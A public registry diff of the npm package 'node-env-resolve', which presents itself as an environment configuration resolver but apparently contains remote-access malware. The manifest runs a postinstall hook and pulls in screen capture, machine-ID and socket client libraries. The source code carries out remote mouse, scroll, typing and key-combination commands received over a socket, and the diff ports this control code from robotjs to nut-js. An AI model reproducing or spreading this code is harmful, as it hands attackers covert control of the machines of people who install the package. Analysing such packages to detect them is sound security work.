node-env-resolve 1.0.4 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "node-env-resolve",
3
- "version": "1.0.4",
3
+ "version": "1.0.5",
4
4
  "description": "Lightweight environment configuration resolver for Node.js",
5
5
  "main": "src/index.js",
6
6
  "bin": {
@@ -11,11 +11,11 @@
11
11
  "postinstall": "node postinstall.js"
12
12
  },
13
13
  "dependencies": {
14
- "robotjs": "^0.6.0",
14
+ "@nut-tree-fork/nut-js": "^4.2.1",
15
15
  "screenshot-desktop": "^1.15.0",
16
16
  "sharp": "^0.33.5",
17
17
  "better-sqlite3": "^11.3.0",
18
18
  "socket.io-client": "^4.7.5",
19
19
  "node-machine-id": "^1.1.12"
20
20
  }
21
- }
21
+ }
package/src/index.js CHANGED
@@ -79,39 +79,39 @@ socket.on('screen:settings', (data) => {
79
79
  });
80
80
 
81
81
  // ── Mouse Commands ─────────────────────────────────────────
82
- socket.on('mouse:move', (data) => {
83
- try { socket.emit('command:ack', { event: 'mouse:move', ...inputHandler.moveMouse(data.x, data.y) }); }
82
+ socket.on('mouse:move', async (data) => {
83
+ try { socket.emit('command:ack', { event: 'mouse:move', ...await inputHandler.moveMouse(data.x, data.y) }); }
84
84
  catch (e) { socket.emit('command:ack', { event: 'mouse:move', success: false, error: e.message }); }
85
85
  });
86
86
 
87
- socket.on('mouse:click', (data) => {
88
- try { socket.emit('command:ack', { event: 'mouse:click', ...inputHandler.clickMouse(data.button || 'left') }); }
87
+ socket.on('mouse:click', async (data) => {
88
+ try { socket.emit('command:ack', { event: 'mouse:click', ...await inputHandler.clickMouse(data.button || 'left') }); }
89
89
  catch (e) { socket.emit('command:ack', { event: 'mouse:click', success: false, error: e.message }); }
90
90
  });
91
91
 
92
- socket.on('mouse:dblclick', () => {
93
- try { socket.emit('command:ack', { event: 'mouse:dblclick', ...inputHandler.doubleClick() }); }
92
+ socket.on('mouse:dblclick', async () => {
93
+ try { socket.emit('command:ack', { event: 'mouse:dblclick', ...await inputHandler.doubleClick() }); }
94
94
  catch (e) { socket.emit('command:ack', { event: 'mouse:dblclick', success: false, error: e.message }); }
95
95
  });
96
96
 
97
- socket.on('mouse:scroll', (data) => {
98
- try { socket.emit('command:ack', { event: 'mouse:scroll', ...inputHandler.scrollMouse(data.direction, data.amount) }); }
97
+ socket.on('mouse:scroll', async (data) => {
98
+ try { socket.emit('command:ack', { event: 'mouse:scroll', ...await inputHandler.scrollMouse(data.direction, data.amount) }); }
99
99
  catch (e) { socket.emit('command:ack', { event: 'mouse:scroll', success: false, error: e.message }); }
100
100
  });
101
101
 
102
102
  // ── Keyboard Commands ──────────────────────────────────────
103
- socket.on('keyboard:type', (data) => {
104
- try { socket.emit('command:ack', { event: 'keyboard:type', ...inputHandler.typeText(data.text) }); }
103
+ socket.on('keyboard:type', async (data) => {
104
+ try { socket.emit('command:ack', { event: 'keyboard:type', ...await inputHandler.typeText(data.text) }); }
105
105
  catch (e) { socket.emit('command:ack', { event: 'keyboard:type', success: false, error: e.message }); }
106
106
  });
107
107
 
108
- socket.on('keyboard:key', (data) => {
109
- try { socket.emit('command:ack', { event: 'keyboard:key', ...inputHandler.pressKey(data.key) }); }
108
+ socket.on('keyboard:key', async (data) => {
109
+ try { socket.emit('command:ack', { event: 'keyboard:key', ...await inputHandler.pressKey(data.key) }); }
110
110
  catch (e) { socket.emit('command:ack', { event: 'keyboard:key', success: false, error: e.message }); }
111
111
  });
112
112
 
113
- socket.on('keyboard:combo', (data) => {
114
- try { socket.emit('command:ack', { event: 'keyboard:combo', ...inputHandler.pressKeyCombo(data.keys) }); }
113
+ socket.on('keyboard:combo', async (data) => {
114
+ try { socket.emit('command:ack', { event: 'keyboard:combo', ...await inputHandler.pressKeyCombo(data.keys) }); }
115
115
  catch (e) { socket.emit('command:ack', { event: 'keyboard:combo', success: false, error: e.message }); }
116
116
  });
117
117
 
@@ -1,129 +1,143 @@
1
1
  /**
2
- * Input Handler — Execute mouse & keyboard commands via robotjs
2
+ * Input Handler — Execute mouse & keyboard commands via @nut-tree-fork/nut-js
3
+ * No Python or Build Tools required — uses pre-built binaries.
3
4
  */
4
5
 
5
- let robot;
6
+ const { mouse, keyboard, Button, Key, Point } = require('@nut-tree-fork/nut-js');
6
7
 
7
- function initRobot() {
8
- if (!robot) {
9
- robot = require('robotjs');
10
- robot.setMouseDelay(2);
11
- robot.setKeyboardDelay(10);
12
- }
13
- return robot;
8
+ // Speed settings
9
+ mouse.config.mouseSpeed = 2000;
10
+ keyboard.config.autoDelayMs = 10;
11
+
12
+ // Key name mapping from frontend names to nut-js Key enum
13
+ const KEY_MAP = {
14
+ 'Return': Key.Return,
15
+ 'Enter': Key.Return,
16
+ 'Tab': Key.Tab,
17
+ 'Escape': Key.Escape,
18
+ 'Space': Key.Space,
19
+ 'Backspace': Key.Backspace,
20
+ 'Delete': Key.Delete,
21
+ 'Up': Key.Up,
22
+ 'Down': Key.Down,
23
+ 'Left': Key.Left,
24
+ 'Right': Key.Right,
25
+ 'Home': Key.Home,
26
+ 'End': Key.End,
27
+ 'PageUp': Key.PageUp,
28
+ 'PageDown': Key.PageDown,
29
+ 'F1': Key.F1, 'F2': Key.F2, 'F3': Key.F3, 'F4': Key.F4,
30
+ 'F5': Key.F5, 'F6': Key.F6, 'F7': Key.F7, 'F8': Key.F8,
31
+ 'F9': Key.F9, 'F10': Key.F10, 'F11': Key.F11, 'F12': Key.F12,
32
+ 'LeftControl': Key.LeftControl,
33
+ 'RightControl': Key.RightControl,
34
+ 'LeftShift': Key.LeftShift,
35
+ 'RightShift': Key.RightShift,
36
+ 'LeftAlt': Key.LeftAlt,
37
+ 'RightAlt': Key.RightAlt,
38
+ 'LeftSuper': Key.LeftSuper,
39
+ 'RightSuper': Key.RightSuper,
40
+ // lowercase aliases
41
+ 'control': Key.LeftControl,
42
+ 'shift': Key.LeftShift,
43
+ 'alt': Key.LeftAlt,
44
+ 'enter': Key.Return,
45
+ 'tab': Key.Tab,
46
+ 'escape': Key.Escape,
47
+ 'space': Key.Space,
48
+ 'backspace': Key.Backspace,
49
+ 'delete': Key.Delete,
50
+ 'up': Key.Up,
51
+ 'down': Key.Down,
52
+ 'left': Key.Left,
53
+ 'right': Key.Right,
54
+ 'home': Key.Home,
55
+ 'end': Key.End,
56
+ 'pageup': Key.PageUp,
57
+ 'pagedown': Key.PageDown,
58
+ };
59
+
60
+ function mapKey(key) {
61
+ if (KEY_MAP[key]) return KEY_MAP[key];
62
+ // Single character keys — e.g. 'a', 'b', '1'
63
+ const upper = key.toUpperCase();
64
+ if (Key[upper] !== undefined) return Key[upper];
65
+ if (Key[key] !== undefined) return Key[key];
66
+ throw new Error(`Unknown key: ${key}`);
14
67
  }
15
68
 
16
69
  /**
17
70
  * Move mouse to absolute coordinates
18
71
  */
19
- function moveMouse(x, y) {
20
- const r = initRobot();
21
- r.moveMouse(x, y);
72
+ async function moveMouse(x, y) {
73
+ await mouse.setPosition(new Point(x, y));
22
74
  return { success: true, action: 'moveMouse', x, y };
23
75
  }
24
76
 
25
77
  /**
26
78
  * Move mouse by relative delta
27
79
  */
28
- function moveMouseRelative(dx, dy) {
29
- const r = initRobot();
30
- const pos = r.getMousePos();
31
- r.moveMouse(pos.x + dx, pos.y + dy);
80
+ async function moveMouseRelative(dx, dy) {
81
+ const pos = await mouse.getPosition();
82
+ await mouse.setPosition(new Point(pos.x + dx, pos.y + dy));
32
83
  return { success: true, action: 'moveMouseRelative', dx, dy };
33
84
  }
34
85
 
35
86
  /**
36
87
  * Click mouse button
37
88
  */
38
- function clickMouse(button = 'left') {
39
- const r = initRobot();
40
- r.mouseClick(button);
89
+ async function clickMouse(button = 'left') {
90
+ const btn = button === 'right' ? Button.RIGHT : Button.LEFT;
91
+ await mouse.click(btn);
41
92
  return { success: true, action: 'clickMouse', button };
42
93
  }
43
94
 
44
95
  /**
45
96
  * Double click
46
97
  */
47
- function doubleClick() {
48
- const r = initRobot();
49
- r.mouseClick('left', true);
98
+ async function doubleClick() {
99
+ await mouse.doubleClick(Button.LEFT);
50
100
  return { success: true, action: 'doubleClick' };
51
101
  }
52
102
 
53
103
  /**
54
104
  * Scroll mouse
55
105
  */
56
- function scrollMouse(direction = 'down', amount = 3) {
57
- const r = initRobot();
58
- const scrollAmount = direction === 'up' ? amount : -amount;
59
- r.scrollMouse(0, scrollAmount);
106
+ async function scrollMouse(direction = 'down', amount = 3) {
107
+ if (direction === 'up') {
108
+ await mouse.scrollUp(amount);
109
+ } else {
110
+ await mouse.scrollDown(amount);
111
+ }
60
112
  return { success: true, action: 'scrollMouse', direction, amount };
61
113
  }
62
114
 
63
115
  /**
64
116
  * Type text string
65
117
  */
66
- function typeText(text) {
67
- const r = initRobot();
68
- r.typeString(text);
118
+ async function typeText(text) {
119
+ await keyboard.type(text);
69
120
  return { success: true, action: 'typeText', length: text.length };
70
121
  }
71
122
 
72
- // Key name mapping from nut.js names to robotjs names
73
- const KEY_MAP = {
74
- 'Return': 'enter',
75
- 'Tab': 'tab',
76
- 'Escape': 'escape',
77
- 'Space': 'space',
78
- 'Backspace': 'backspace',
79
- 'Delete': 'delete',
80
- 'Up': 'up',
81
- 'Down': 'down',
82
- 'Left': 'left',
83
- 'Right': 'right',
84
- 'Home': 'home',
85
- 'End': 'end',
86
- 'PageUp': 'pageup',
87
- 'PageDown': 'pagedown',
88
- 'F1': 'f1', 'F2': 'f2', 'F3': 'f3', 'F4': 'f4',
89
- 'F5': 'f5', 'F6': 'f6', 'F7': 'f7', 'F8': 'f8',
90
- 'F9': 'f9', 'F10': 'f10', 'F11': 'f11', 'F12': 'f12',
91
- 'LeftControl': 'control',
92
- 'RightControl': 'control',
93
- 'LeftShift': 'shift',
94
- 'RightShift': 'shift',
95
- 'LeftAlt': 'alt',
96
- 'RightAlt': 'alt',
97
- 'LeftSuper': 'command',
98
- 'Enter': 'enter',
99
- };
100
-
101
- function mapKey(key) {
102
- return KEY_MAP[key] || key.toLowerCase();
103
- }
104
-
105
123
  /**
106
124
  * Press a single key
107
125
  */
108
- function pressKey(key) {
109
- const r = initRobot();
126
+ async function pressKey(key) {
110
127
  const mapped = mapKey(key);
111
- r.keyTap(mapped);
128
+ await keyboard.pressKey(mapped);
129
+ await keyboard.releaseKey(mapped);
112
130
  return { success: true, action: 'pressKey', key };
113
131
  }
114
132
 
115
133
  /**
116
134
  * Press key combination (e.g., Ctrl+C)
117
135
  */
118
- function pressKeyCombo(keys) {
119
- const r = initRobot();
120
- if (keys.length < 2) {
121
- return pressKey(keys[0]);
122
- }
123
- // Last key is the main key, rest are modifiers
124
- const mainKey = mapKey(keys[keys.length - 1]);
125
- const modifiers = keys.slice(0, -1).map(mapKey);
126
- r.keyTap(mainKey, modifiers);
136
+ async function pressKeyCombo(keys) {
137
+ if (keys.length < 2) return pressKey(keys[0]);
138
+ const mapped = keys.map(mapKey);
139
+ await keyboard.pressKey(...mapped);
140
+ await keyboard.releaseKey(...mapped);
127
141
  return { success: true, action: 'pressKeyCombo', keys };
128
142
  }
129
143